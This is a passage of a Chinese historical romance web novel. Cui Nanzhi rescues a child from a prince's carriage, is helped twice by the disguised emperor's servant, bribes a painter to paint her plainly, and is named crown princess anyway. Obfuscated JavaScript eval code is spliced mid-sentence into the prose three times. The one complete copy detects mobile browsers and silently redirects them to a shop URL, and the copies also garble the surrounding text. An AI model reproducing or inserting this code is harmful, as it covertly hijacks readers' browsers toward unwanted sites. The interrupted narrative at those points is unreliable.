原本说是从慈恩寺回来,就在长安城逛一逛,没料到突如其来的大雨,灰溜溜地赶回家,路上都没心思往外看。等到今日她神清气爽地出门,才知晓长安城是什么样的存在,难怪阿耶阿娘提起从前都会不由自主露出那样的笑意。 她离开长安时才刚记事不久,十几年过去,原本就不多的记忆淡忘的差不多了。 何况当时她只是一个身高才到大人们膝上的小女孩,上下马车都得抱着,无论什么在她眼里都显得格外高大。 而今她再跨过门槛,已经能自己决定去哪,下定了决心,连芳丹也无可奈何。 崔家小女郎的这份决心并没有用在正途上,芳丹也没想到郑娘子养出来知书达理的女郎,竟然直奔平康坊去了。 她这样秀丽的小娘子,贸贸然走在平康坊附近是很危险的。芳丹紧紧跟在身边,横眉冷目,恶狠狠瞪走那些目光不怀好意的人。 平康坊附近住着诸多权贵,又毗邻东市,府上家丁的衣着打扮都比寻常百姓气派许多。透过半掩半遮的大门,还能听到里面传来一阵阵的喝彩叫好,伴随叮铃哐啷铜钱相碰的撞击声。 芳丹见她探头探脑的,大有要去一探究竟的意思,立即遏制这种念头生根发芽:“里面鱼龙混杂,乱得很,不是小娘子能进的地方。” “我知道。”崔南栀诚恳点头。 芳丹有点意外,她还以为又要搬出夫人来压一头。 崔南栀接着道:“阿娘和我说,他们不随便让女客进去,她以前也得扮男装才能畅通无阻。” 芳丹张了张嘴,哑口无言。 她还未想出该如何教育崔小娘子以后不要再“口出狂言”,杂乱的马蹄声先一步抵达,激起周遭尘土飞扬,两边行人纷纷避让,唯恐冲撞到贵人的车驾。 崔南栀眼尖,路边筐子里坐了个在掰胡饼吃的小姑娘,两三岁模样,是被她阿耶背着的,现在阿耶不知去向,只留下还不知危险将近的孩子。 那位置十分微妙,运气好或许能和马车堪堪擦过,运气差点说不准马蹄子都得从头上踩过去。 “娘子?!”芳丹惊呼一声,自家小娘子反其道而行之,朝着大路跑过去。 崔南栀一把抓住女童衣领,筐子骨碌碌滚到路面中央,被领头的马匹一脚踢飞。 她自己也被这股劲冲得摔倒,好在芳丹来得及时扶住她,才没摔得狼狈。 “谁敢冲撞仪王车驾?!”家丁勒住缰绳,厉声呵斥。 周围静得出奇,唯有崔南栀拍了拍衣裙上的尘土,毫不客气地反驳:“长安是允许当街纵马的吗?” 家丁手握马鞭,一向横行惯了,敢开口的竟然是一位小女郎,更显得没面子。 他正要挥鞭给自己找回面子,就听见身后的命令,讪讪地把鞭子收回去。 崔南栀只能从车夫的话语中判断出他主人是天潢贵胄,闻其名却不见其人,但仪王已经将刚刚发生的事透过轻薄纱窗尽收眼底。 仪王风流成性,听到外面是婉转女声,脑子还没反应过来,手已经掀起帘子了。 女郎瓷白面颊沾到些许灰尘,眸如点漆,熠熠生辉,蹙眉的模样反而更给她添了几分生动。 仪王贪看几眼她的姿容,家丁请示了两遍,仪王才挥挥手装作十分大度的模样:“罢了,本王赶着进宫呢,没空跟她计较。” 仪王车驾行远,众人纷纷松了口气,有好心人上前劝说崔南栀以后莫要这么行事,得罪了仪王不是每次都能运气好逃脱的。 小女孩的父亲赶过来,一脸惊魂未定,不住地向崔南栀道谢:“我刚要去东市送货,才把她放在摊子边上托人照看,没想到……”他差点要下跪行大礼,把崔南栀吓了一跳,“要不是姑娘好心,恐怕难逃一劫。” 崔南栀摆摆手表示不用在意,被这么一闹,衣裙脏了不说,脸上也沾了灰尘。她没了闲逛的心思,只想回去换干净衣裙。 芳丹在一边碎碎念道:“刚才真是吓死人了,小娘子有没有想过,若是行动迟缓些该如何?” “要是迟了,被踢到的就不是竹筐,而是那个女童。”崔南栀也有点后怕,“我们来长安时候车夫还说,长安城里马车都不允许疾驰,仪王是什么来头竟然能无视律法。” “天潢贵胄总是两样的,长安与宣州不同,遍地权贵,行差踏错便要得罪不少人,小娘子今后还是多多自保。”芳丹说道。 清晖阁门口,常进宝等候已久,才看到姗姗来迟的仪王。 他转了转眼珠,目光落在仪王腰间的匕首上。 面见天子不允许佩戴任何利器,若是其他臣子,进宫时就要被搜身。只是仪王身份尊贵,一向被天子礼遇,禁军守卫们也不敢如何。 这差使只能落到常进宝头上了。 仪王察觉到他的视线,指腹摩挲过匕首上镶嵌的宝石,片刻后才解下来,放到一旁宫人递上的铜盘内。 “这是本王前不久新得的玩意儿,上面镶嵌的宝石成色很是纯净,本王爱不释手才日日随身佩戴。”仪王笑道,“让少监担惊受怕了!” 常进宝陪着笑脸:“王爷真是太折煞奴婢了。这宝石一看便是价值连城的好物,王爷挑东西的眼光奴婢早有耳闻。” 仪王被吹捧得心满意足,大步跨过门槛,直入清晖阁内。 天子手持书简,正微垂着头,凝神盯着棋盘。 听到仪王身上环佩作响,他才抬起头。 “我来迟了,陛下莫怪。”仪王拱手。 “无妨。” 仪王扫了眼棋盘,问道:“陛下在解局?” “无意中看到先人的一个棋局。”天子合上书简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜色如墨,仪王坚持不住,率先告饶,认了输才从清晖阁中离开。 前脚刚走,后脚白天平康坊一带的事就呈上天子书案。 常进宝以为天子怎么着都得生点气,没想到他看完,反倒露出一缕转瞬即逝的笑意。 他头一回琢磨不透天子这笑意从何而来。 翌日,仪王神清气爽地登上马车,准备出宫回府。 不光是随行家丁,连仪王都注意到,街上的卫兵比以前多了不少,但好像也没什么戒严的特殊迹象,只是加派人手在坊市巡逻。见到仪王的车驾,为首的客客气气与他见礼。 家丁询问是京中有何变动,为首的卫兵答道:“臣等也是奉律令做事,坊市内人潮涌动,臣等奉命查办有无人等纵马驾车,撞伤百姓。” 家丁觑了眼仪王,他脸色不大好看,只含糊应付过去,让卫兵回去继续巡逻。 “殿下,这怎么办?”家丁问道。 仪王冲他翻个白眼:“都敲打到这个份上了,还能怎么办?你还想反了不成?” “不敢不敢。”家丁吓得慌忙否认。 “愣着干什么,滚出去驾车。”仪王不耐烦道,说完还没出气,又补了一句,“长个眼睛就是让你多看着点路,再撞上人唯你是问!” 5. 第 5 章 第5章 崔南栀在郑家住着,每日无所事事,只能靠看书和做香药打发时间。 一段时日下来,陈夫人和祝萦的柜子里都摞起一堆香药丸子,连郑鹤荣的官袍都沾了气味,上朝还得被同僚侧目。 明明是圣人下旨让她来长安的,结果她到了长安,却如石沉大海,没了后续。 陈夫人也托人去打听,结果当然是一无所获。 陈夫人干着急,看着崔南栀气定神闲地煎茶,还给她也斟上一盏,忍不住嗔怪:“要不我再想想办法,总不能一直没个信儿,要是宫里把这事忘了……” 崔南栀并不在乎,但面上还不能表现出来,温声安慰:“舅母别急,好事多磨,等等也无妨。” 陈夫人只顾着叹气:“我倒是想着,不论如何也放点风声出来,若是眉目了我也好去探听对方人品如何。” 陈夫人没烦恼多久,很快郑家就有其他事转移走她的注意力。 崔南栀那位表哥在国子监念书,忽然被调去东宫做伴读。 国子监念书就是为了将来做官出人头地,辅佐东宫太子相当于提前进入仕途,若是他念着你从前的用心,来日登基后少不得能许个高官厚禄。 这份差使落到自己儿子头上,陈夫人必然是高兴的。 没两日,郑鹤荣下朝回来也春风满面,明里暗里地被派了些不错的差事。 郑家上下大喜过望,相当于是双喜临门。 但必要的交际还得做,陈夫人忙着去应付贵妇人们的筵席,祝萦便喊上崔南栀,一块儿去订些礼物,陈夫人要带去送礼用的。 崔南栀对长安不熟,跟在祝萦后面,看布庄女使一匹接一匹地把绸缎摆开供人挑选,日光下色泽如水波荡漾。 “表妹喜欢哪些?”崔南栀盯着布料发呆,祝萦以为她也想要,挽着她的手臂走到绸缎前。 白玉般的美人在前,女使的眼神一下亮了,拿起绸缎就在她身前比划,连声称赞“娘子好容色”。 半透的烟粉纱罗映在她腕上,祝萦都看得晃神一瞬。 没等崔南栀反应过来,祝萦先选中这款:“这匹好,可以做上襦。”她又指了旁边那匹,“那个裁了做半臂也好看。” 崔南栀张了张口,被女使绕得团团转。 在她回绝之前祝萦开口道:“阿娘特地叮嘱我给你做新衣裙,不然以后去赴宴手忙脚乱地如何是好。” 女使认得祝萦,接话道:“原来是祝娘子的姊妹吗?难怪生得花容月貌。小娘子将来若是去赴宴,能在筵席上看到许多咱们家的布料呢。” “是我郎君的表妹。”祝萦说道。 长安的女使都比宣州的更会甜言蜜语,女使们给崔南栀量体记尺寸,披帛在眼前晃来晃去。 某位女使夸她熏香好闻,崔南栀终于能勉强插上话:“是我自己做的。” “小娘子真是心灵手巧。”女使为她折好披帛,“不知道将来哪位郎君能娶到小娘子,三生之幸呀。” 女使伶俐地整理好尺寸数据,将选好的布料挑出来,对祝萦说道:“祝娘子只管放心,明日就让人送去府上。” 之后几家店铺都是如此。祝萦见她已经双眼无神,笑着安慰她:“虽然乏味了些,但能有送礼结交的机会,已经胜过许多人了。走吧,我请你去茶楼吃点心。” 长安的另一边,天子亲自送太后的车辇过通化门。 太后不想兴师动众,特意一切从简低调出行,出于安全考虑,天子特地将身边的一支暗卫调去护送太后。 “娘娘让奴婢来传话,陛下送到这就行了。”女官躬身道。 天子翻身下马,将缰绳递到侍卫手中:“我和阿娘再说几句话。” 太后像是料到他会这么做,女官传完话回到身侧,也并未让马车继续前行。 “只是在外住上几个月,年年如此。”太后嗔怪,唇边还是含着温和笑意,“政务繁忙,难得抽个空,不要为我费太多时间,回去多歇一歇。” 天子十分不诚心地应下。 “常进宝。”太后喊道。 常进宝赶紧上前。 “我不在宫里的日子,你也要多提点陛下注意身体,不要总是熬夜批阅文书奏折。” “奴婢知道。” 太后眼波一转,“陛下身边到底是少了个知冷知热的体贴人,若是看中了谁家女郎,记得托人来告诉我。” 常进宝顶着压力,唯唯诺诺地答应。 送走一尊大佛,常进宝讷讷地询问:“陛下,咱们是回宫还是……” 对上天子的眼神,常进宝立刻懂了,把周围内侍们遣散,让他们先行回宫。 天子今日穿着便装,要混入人群中简单,但想不引人注目是不可能的。 一路人光是冲他抛媚眼的女郎就不知道有多少,可惜含情水眸撞上铜墙铁壁,被毫无怜惜地挡回去。 经过一处茶楼,天子步伐放缓。 常进宝抬头一看,茶楼名字眼熟得很,这不是陛下做太子时候常来的那座茶楼吗! 果然,天子脚步顿了顿,便拐弯儿进茶楼。 伙计招了新人,不认得他,见他衣着饰品都金贵,正要直接带他去楼上雅间,被面前这位郎君拦下,问临窗那一带还有没有空位置。 “有的有的。”伙计带他们过去。 临窗的隔间用竹帘隔开,不如雅间清净,但能看到另一侧街上的杂耍艺人表演。 经过某处隔间时,天子微微侧首,视线透过帘子的间隙,落到女郎的脸庞。 她没在意外面的动静,笑盈盈地与对面女郎说话,面颊漾出浅浅梨涡。 天子只是淡淡地瞥了一眼,便挪开目光。 “就要这间。”他停下。 伙计机敏,马上挑起帘子迎客人进去。 这间隔间的地段不算太好,平时很少有客人主动选。眼前这位身价不低,怎么反倒看上了? 伙计腹诽,还是麻利地递上菜单。 天子选这间的缘由并无什么难解之处,只是坐这能看到斜对面的隔间。 他们只有一面之缘,再见到也是巧合。禁内美貌的女使众多,他二十多年来心如止水,却在见到那位女郎时,忍不住驻足停留片刻。 或许是因为听到她在慈恩寺的祈愿,先入为主地认为她是个有趣的小姑娘,天子忽然能领会到常说的“语笑嫣然”是什么意思,像是白玉雕成的美人活了过来,被赋予温度,不再是一尊冷冰冰的美丽塑像。 崔南栀还在与祝萦说宣州的趣闻,对外面那双观察她的眼睛毫无察觉。 正聊到兴头上,店里的伙计立在帘外,踌躇片刻方才问道:“叨扰二位娘子。” “什么事?你进来说吧。”祝萦问。 伙计这才打起竹帘,站在离她们几步外的地方,一脸为难:“二位娘子点了雕花蜜煎,是咱们茶楼里最后一份,可刚刚有客人也想点,小的来问问二位娘子能否将这道雕花蜜煎让出来?” “凡是有先来后到,我们先点的为什么要让给别人?”崔南栀说道。 “他们身份尊贵,这……”伙计磕磕巴巴回答,“小的还是劝一劝二位娘子,要不把雕花蜜煎让出来吧……” 这间茶楼的雕花蜜煎盛名在外,祝萦特地带她来尝尝。 吃不吃得到是其次,她们付了钱的东西,怎么莫名其妙就要让给别人? 崔南栀还在不解,伙计被人一把推开,随即进来两个陌生人,面相蛮横,冲着伙计就斥责:“磨磨唧唧的,东西到底有没有?” 他们嗓门大,茶楼里的客人纷纷循声望过来。 祝萦被这阵仗吓了一跳,拧紧手中帕子:“你们是什么人?” 来人扫了她们几眼,崔南栀被露骨的目光瞅得十分不适,按下祝萦护在她身前的手:“应当是我们问才对,这隔间是我们付了钱的,雕花蜜煎也是我们先点的。你们擅自闯进来,还不懂‘先来后到’的道理?” “什么先来后到,又不是不给你们退钱。”对方嗤之以鼻,“和东宫看上同一道蜜饯点心,也算是你们有眼光。” “表妹,他们是东宫的人。”祝萦小声道,“要不算了吧……我们再点其他的也行。” 崔南栀知道祝萦在顾虑什么,郑煜刚调去东宫不久,正是需要处好人际关系的时刻,若是在这时候把东宫的人得罪了,郑煜的日子可能不太好过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725190|144948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她并不服气这种做法,但表哥表嫂待她不错,不能因为她一时置气,害得表哥在东宫被排挤。 另一处隔间内。 听到“东宫”二字,常进宝立即觑向天子。 天子神色淡定,慢条斯理地咀嚼着菜肴,眉毛都不曾抬一下。 他们在的隔间可以清晰看到事件经过,那两人先是大大咧咧进来点菜,似是被拒绝了什么,嗓门立刻大了许多,紧接着便是伙计为难地去找两位女郎商量,之后便是现在的情形了。 天子不发话,常进宝必然是不能去插手的。 原先就有折子弹劾东宫属官中有人仗势横行霸道,被天子撞个现行,也算他们倒霉。 祝萦已经红了眼眶,拽住崔南栀的衣袖。 甚少见到这样脾气的小娘子,那两人也打量她们。祝萦梳妇人髻,崔南栀是未出阁的打扮,成了他们调笑对象。 “小娘子长这么水灵,不如做个东宫侍妾,雕花蜜煎要多少有多少!” “将来说不准能封个美人!” 你一言我一语的,越说越不着调。 崔南栀手已经碰到茶碗边缘,心想要是他们再口无遮拦,就朝他们脸上泼。 她刚有这个念头,门口有人敲了敲隔栏,吸引了大家的注意。 常进宝立在那,皮笑肉不笑地瞧着他们:“二位公子,茶楼是个听书饮茶的清净地,这般吵闹打扰到我家主人了。” “你家主人是谁?” 他明显没被当一回事。 崔南栀觉得他眼熟,好像在哪见过。 常进宝摊手露出半截玉佩在他们面前一晃而过:“劳烦二位出来看吧。” 或许那玉佩真的是什么信物,那两人竟也没否认,彼此狐疑地交换个眼神,跨出隔间。 片刻之后,崔南栀听见他们倒吸凉气的声音,脸色大变,完全没有方才跋扈骄横的模样,堪称狼狈地落荒而逃。 崔南栀终于想起来那人是谁——不就是慈恩寺给她送伞的家丁?! 天子交代的事办完了,常进宝正欲回身,被追出来的女郎叫住:“等等!” 常进宝转身:“小娘子还有何事?” “你是那天送伞的……”崔南栀略有迟疑。 对方没有否认,她露出笑靥:“又是你们帮了我,真巧。” “举手之劳,小娘子莫要挂怀。” “你主人在哪?连着两次帮忙,我要当面致谢才行。” “我家主人不爱多管闲事,只是看姑娘面熟,有些缘分,才让小的来帮忙。”常进宝挡下她要见面的请求。 崔南栀有些失望,人家不想见,总不能逼着人家来。 女郎咬唇,犹豫一会儿,从袖中摸出一枚香囊,底端系着玉石打磨的小珠子。 “多次承情,我肯定不能让你空手而归,但今日我本来只是和嫂嫂出来逛一逛,没什么能拿得出手的。也就这个香囊,虽不算什么值钱的物件,但里面的药材都是我精心调配的,可以安神助眠,若是不嫌弃的话……”她耳尖透着绯色,声音愈发小下去,“或许可以帮忙转交给你家主人,就当我的谢礼。” 这下轮到常进宝为难,不知该不该收。 “是新的!我昨日才做完,并没有旁人佩戴过。”崔南栀误会了他踌躇的原因,急忙解释。 常进宝往身后那处隔间瞥了眼,崔南栀的视角正好被挡住,看不到隔间的动静,但常进宝的余光能看清。 一双修长好看的手,扳指透着上好的水色。 点了两下桌面,常进宝立即会意,双手接过香囊:“多谢姑娘的好意,我家主人收下了。” 崔南栀绽开笑意:“小小心意不足挂齿,将来有缘再见,要是你家主人觉得香囊好用,我还可以再送些来。” 天真烂漫的小女郎,常进宝也觉得有趣,告辞之后便回去,将香囊奉给天子。 香囊塞得鼓鼓囊囊的,上面的纹样绣着山峦起伏,针脚不算很精巧,看上去像是她自己绣的。 看来不是个精于女红的小姑娘。 天子轻嗅,顿时温润清淡的气味萦绕鼻尖,连日来紧绷的神经也随着这股柔和香气逐渐放松。 6. 第 6 章 第6章 崔南栀回来时,面上表情松快许多。 最终雕花蜜煎还是她们这桌的,茶楼为了给她们赔礼道歉,还送了几道其他招牌点心。 长安的厨子比宣州的更讲究,连她一个不怎么吃甜食的都连着动筷。 祝萦还在顾虑刚才的事,不论是那两个东宫的人,还是突然出现赶跑他们的人。 “那人不知道是什么来头,怎么说了几句话,他们就跑了?”她担忧地望向崔南栀,“他为何还与你说话,是认识?” “也算不上认识吧。”崔南栀把慈恩寺的事简单说了,“真是个好心人,就可惜不知道长什么样。” 祝萦摇头:“这样巧合,还主动保持距离,可见是个有分寸的人。若是遇到不怀好意的,说不定就借着机会要接近你了。” 不愧是已经帮着婆母掌家的人,对这种事情想得更深入。 崔南栀完全没想到这一出,她只觉得突如其来再次相遇,什么谢礼都没准备有点可惜,但愿下次见面时候她不是手足无措的状态。 夜幕升起,郑家的家丁仆妇们大多歇下了,祝萦屋里的灯还亮着。 今日是郑煜调去东宫任职的第一天,这个点了还没回来,派去打听的小厮连宫门都进不去,更问不出个什么。 联想到白天发生的事,祝萦更是担心。 正在她忧心忡忡时,女使赶来说郑郎君回来了。 郑煜整理了下衣冠,尽力掩去脸上倦容,让随从确认了两三遍才抬脚进门。 一想到他的妻子正在等他,从大门到卧房的距离显得尤为漫长,他恨不得并作两三步,一下抵达卧房门口。 然而他的妻子并没有像往常那样笑吟吟地迎接他,清丽的脸上满是担忧与愁容,对着他的脸拍了又拍、捏了又捏,才慢慢露出安心的笑意。 “我又没缺胳膊少腿。”郑煜主动转了几圈给她看,半开玩笑道,“刚去东宫任职还不大熟悉,出宫时候晚了,差点被关在宫里。” 祝萦笑不出来,还是女使解释白天的事,郑煜唇边笑意渐渐淡下去。 他在回家路上就想好怎么跟妻子说今日的事,肯定是报喜不报忧的,还叮嘱身边随从也不准乱说话。他被调去东宫那日,家人眼里的欣喜期待看得分明,要是让他们知道自己在东宫并不如想象那般,肯定会担心。 祝萦很少过问和干涉他在外的事,但她不是什么都不懂的女郎,已经能猜到东宫的人不好相处。 郑煜没法在妻子面前撒谎,她那双水盈盈的眼眸仿佛能看穿所有心事。 别无他法,郑煜斟酌了下措辞,尽量委婉地说明情况。 东宫的属官们跟随太子已久,他一个新来的很容易被针对。尤其他还是圣人指派过去的,理所当然被当成来监视东宫的卧底。 新来个人这种事太子不可能不知晓,但他没有任何表示,默许了属官们的行为。 还未听完全部,祝萦眼里已经蓄了泪水:“阿娘若是能找些门路……” “别别别。”郑煜阻拦她,“决不能让阿娘知道。咱们家只是郑氏旁支,阿耶又依附天家,这样只能让他们为难。” “那也不能让你被数落孤立……” “我会想法子的,船到桥头自然直。”郑煜拥她入怀柔声宽慰,“何况也就这阵子了,我听说东宫马上要迎来一件大事,他们今日就在背着我讨论,但还是被我听到一些。” 祝萦抹去眼泪,安静地点了点头。 · 才做好的香囊送人了,崔南栀打算再做一个。 那个香囊已经是她努力了小半个月的成果,绣花样子还是芳丹手把手教她描的。不过崔南栀在绘画和女红方面着实没什么天赋,芳丹早已习惯自家小娘子画得歪七扭八的线条,绣出来的成品反倒比画得线稿漂亮。 再经过芳丹的手缝合调整,掩盖了大部分缺点,做出来的成品还算有模有样的。 崔南栀也有点苦闷,她那天实在太匆忙,要是那人拿到了觉得做工太丑嫌弃它怎么办? 天底下不会就她一个不擅长女红的小娘子吧? “小娘子虽然不擅描红针法,但于调香一事上很有天赋。”芳丹安慰她,“人都有长处短处,小娘子又无需亲自动手制衣刺绣,调香弄墨也很好。” 崔南栀听着舒坦许多,要说制香药,恐怕许多人都比不上她呢。 有女使敲了敲门,询问崔娘子在不在。 芳丹出去接应,过了会儿回来便说道:“陈夫人邀娘子一同去用晚膳。” 郑鹤荣和郑煜常不在家,郑家用饭是不同院子里各吃各的,陈夫人主动邀请她去,她一个小辈不能不给面子。 崔南栀欣然前往,到了才发现人都来齐全了,郑家夫妇和表哥表嫂都在。 相比郑煜祝萦一看就有心事的神情,郑鹤荣面上的喜色毫不遮掩,甚至见到崔南栀时抬手招呼她过来。 陈夫人拉着崔南栀的手,年轻女郎皓腕盈盈一握,指腹拂过肌肤,触感细腻如玉。 “圣人有意为东宫择太子妃,不日就要派出画师们为各家淑女们画像。”郑鹤荣说道。 陈夫人问:“此话当真?” “这还能有假?我知道的都算迟了,有消息更灵通的早就在做准备。”郑鹤荣对外甥女的品貌自信满满,“你舅母之前还着急婚嫁之事,现在看来说不定就是为了等这桩姻缘,长安淑女虽多,以你的品貌必定能脱颖而出。” 但崔南栀对太子印象很差,闻言忍不住皱眉:“舅舅此言差矣,我并不想当太子妃。” “普天之下,除了天子身边,最好的去处就是东宫。”郑鹤荣没考虑那么多,“你初来乍到并不知晓禁内情形,圣人正值大好年华,但无心后宫之事,六宫空置已久,前几年便过继了仪王嫡子当储君。圣人若是将来真的无子,太子继位就是板上钉钉的事。我知道你不喜欢盲婚哑嫁,太子模样生得不错,有圣人时时监督考察,品性也不会太差。” 哪怕舅舅把太子吹上天,也改变不了她昨日才被为难过的事实。 要是品性好,还能放纵手下人这么骄横?而且她听得明明白白,是东宫要那道雕花蜜煎,宫里什么厨子没有,非要来和普通人抢东西,连打个商量的语气都不会,可见太子的品性并不如舅舅说的那样。 而长安城的另一侧,太子从天而降禁足令。 他还不知道自己做错了哪门子事,常进宝就过来传圣人口谕,禁他一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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迎接画师的阵容不小,周遭许多女使小厮,脸皮薄的女郎觉得浑身不自在也正常,陈夫人予以理解,让女使带着画师过去。 没了陈夫人干扰,崔南栀立即敛起刚才那副羞赧情态。 她变脸速度有点快,画师猝不及防,铺纸的动作顿住。 “我有一事相求,不知道先生能不能应允?” 画师坦诚回答:“小娘子的容色长安稍有,在下反倒担忧画不出十之八/九,不过请放心,在下一定会尽全力绘制。” “不不不,我不是那个意思。”崔南栀赶紧解释。 画师更不解:“那是……?” “能不能把我画丑点?”崔南栀摸出一袋银钱,掂了掂分量,感到一阵心痛。 画师还是头一次听到这种请求,先前给几家名门淑女画像,每个都是想方设法让他修饰不足,眼前这位却反其道行之。 崔南栀练习了许多遍的腹稿,终于要在此刻派上用处。 “其实我有一位青梅竹马,已经和他私定终身,却因为长辈的原因不得不分开。”崔南栀把平生看过的话本都回忆一遍,拼拼凑凑出一个不知道是不是破绽百出的故事,“若是落选,他就可以来我家提亲。” 说着她眼眶微红,眸中水汽氤氲,泫然欲泣地望向画师。 美人落泪的冲击力是很大的,尤其是她掩面哭得肩膀一抽一抽的,分外可怜。 画师心生怜惜,捏着笔杆子来回思忖,终于在女郎的眼泪里败下阵来:“那我想想法子,按姑娘说的试一试吧。” 7. 第 7 章 第7章 他能把相貌平平的人画成清秀佳人,却没试过把貌美女郎画得平平无奇。 崔南栀乖巧地坐在那,阳光透过半开的窗照在脸上,泛着匀净的粉白色。 画师提笔犹豫许久,才落下第一笔。一直画到日暮西斜,画师终于作完画。 崔南栀一下站起来,都能感觉到她浑身关节作响,腿仿佛不是自己的腿。用力锤两下,才感觉血液重新流动,能听她使唤了。 看得出画师已经尽力了,崔南栀希望他把自己画丑陋些,但画师有自己的操守,把她的脸盘画圆一圈,肤色调得泛黄。五官什么都改了,又什么都保留着,眼型还是那个眼型,就是小了些,鼻子嘴巴再改改,勉强画出一张乍一看不太出彩的画像。 和崔南栀预想中的丑样子不大一样,但画师还没想犯“欺君之罪”,崔南栀捧着画左看右看,最终还是点了头。 陈夫人在厅堂喝茶,见女使送画师出门,又热情地请他喝杯茶再走。 画师哪里有闲情逸致喝茶,陈夫人想看看他的画,忙推拒道:“这画像只有圣人与太子能看。” 陈夫人讪讪地收回手:“好吧。” 一摞一摞的卷轴被送去东宫,太子不屑地嗤笑:“不是早就定好了吗?怎么还找这么多画像来?” 属官说道:“这是给那位崔娘子走个明路呢。” 太子随意地翻开几卷,画上女郎们各有颜色,或娇憨或温婉。太子被勾起兴趣,一个个翻看过去,不管是瓜子脸还是鹅蛋脸,画师都能画出别样风情。 “把她的画像找出来看看。”一溜翻下去,个个都是花容月色,太子顿时就想看看他未来的正妻长什么模样。 属官一卷卷找过去,终于找到了郑家的卷轴。 太子满怀期待地展开,脸上表情一僵。 五官齐全,姿色平平。弯唇微笑的模样大概还算秀气。 是淹没在人堆里他都不会注意到的水平。 见太子不说话,属官凑过来瞥一眼,立即明白缘由了。 “殿下,圆脸盘是旺夫相。”属官想说点好听的哄哄他,结果没安慰到点上。 “她再旺能旺到哪去,我还差她那点命数,她就算是个苦瓜脸都碍不着事。”属官差点冲过来捂太子的嘴。 “她要真是个苦瓜脸,倒也轮不到她当太子妃了……”属官小声道。 “去去去!”太子嫌恶地把画像一丢,“最近真是够倒霉的,你们想想办法,看看能不能退婚。” 属官们面面相觑——退婚?金口玉言,圣人说出去的话还有收回的道理? 但又不好太直白地告诉太子您真是异想天开,被禁足了连东宫大门都出不去,还指望圣人给您取消婚约,不如早点认命给圣人留个好印象,说不准能早点放您出去呢。 不久之后,有大臣询问选太子妃的进度,天子只是平淡地回应一句“已经定下了”。 大臣们想了想,以天子的秉性,对这些情情爱爱的事没什么兴趣,必然是从家世和人品方面来考虑的,选出来的女郎想来也不会差。现在早已不是少年天子刚登基时处处被拿捏的时候,他定下的事,甚少容人置喙。 陈夫人翘首期盼宫里的消息,最近来拜访的贵妇人们聊天的话题也围绕着太子妃一事。 似乎郑家上下只有崔南栀本人毫不在意,但她还得在夫人们面前装一装,提起她的婚嫁之事时,流露出恰到好处的羞赧。有人的丈夫从前与她父亲是同僚,甚至遗憾自己儿子已经定亲,不然一定会来下聘礼。 崔南栀笑得脸都发僵,衣角在指尖卷了又卷,送走夫人们的时候已经揉成皱巴巴一块。 · 刚入秋,郑夫人就已经让后厨炖梨汤清燥润肺。 再好喝的梨汤,连续喝了几日也有点发腻。崔南栀喝了半碗就放下来。 最近长安有女儿的高门都有点儿一惊一乍的,宫中常有内臣出来宣旨或传口谕,不论是褒是贬,和大多数人是没关系的。但最近只要有出入,便一窝蜂地要去打探。 崔南栀听陈夫人说着长安的趣闻,嘴上应付着,心里在想昨天听到街上有人叫卖桂花糕,今天得让女使出去买点尝尝。 门口突然传来不小动静,女使急匆匆地跑过来附在陈夫人耳边说了什么,陈夫人“噌”一下站起来,厅内数双眼睛齐刷刷望向她。 “我发髻有没有歪?把我妆奁最底下那支步摇拿出来插上,口脂也补一补。”陈夫人催促女使帮她整理衣裙,见到在一边愣愣坐着的崔南栀,赶紧把她也拽起来,仔细端详一番。 等陈夫人妆点完毕,领着崔南栀迤迤然出去。 传旨内臣永远是那副表情,在宣读圣旨之前都不知道是喜事还是祸事。崔南栀行了礼,抬起头,与内臣四目相对,忽然生出一股不祥的预感。 那副画像是她亲自过目验收的,陛下的眼光总不能这么差吧? 崔南栀微垂下头,盯着鹅卵石铺成的地面。 内臣清了清嗓子,展开丝帛,高声念出上面的内容。 她听到陈夫人低低地吸气声,内臣的话语一字一句砸在她耳膜上,轰隆隆作响。 “恭喜崔娘子。等册宝一下来,该称您为太子妃娘娘。”内臣卷起丝帛,扯动嘴角,终于露出能被看出情绪的表情。 他等着崔南栀上前接旨谢恩,半晌没个动静,“崔娘子?” 崔南栀人站在那,魂像是被抽走了,内臣唤她也没反应。 陈夫人见状,打圆场道:“哎呀,小姑娘家没见过事儿,估计是被吓到了。”说着两三步上前,恭恭敬敬接下圣旨,“劳烦大人跑这一趟了。”她颔首示意女使打赏,塞了个沉甸甸的荷包。 内臣客气地推拒,又被塞回手里,拉扯几次之后抵挡不住郑家人的热情,把荷包收入袖中。 崔南栀慢慢回过神,接过圣旨仔仔细细读一遍,上面明明白白写着她的名字。 “你们没认错人吗?”崔南栀开口,“长安也不止我一个姓崔的……” “崔娘子别说笑了,立太子妃这么大的事,绝不会找错人的。” “那有没有再考虑下……或许别人比我更适合?” “只是陛下的意思。”内臣的语气已经开始不耐烦,“崔娘子若是有话要说,就禀给陛下吧。” 陈夫人拉着她的袖子,陪着笑脸送走内臣。 内臣给各家颁旨这么多次,第一次遇到反应这么奇怪的。 他带着小黄门们退出去,刚跨过郑家的门槛,就听见身后传来女使的尖叫声。 “崔娘子!” “崔娘子怎么晕倒了!” “来人啊!快去请郎中!” 趁着众人慌乱作一团,陈夫人赶紧把掉在地上的圣旨捡起来,拍拍上面的浮灰。 “快把崔娘子扶回房,把红糖水都备上。”陈夫人到底是名门出身,人都晕在眼前了还能保持镇定,有条不紊地指挥女使们做事。 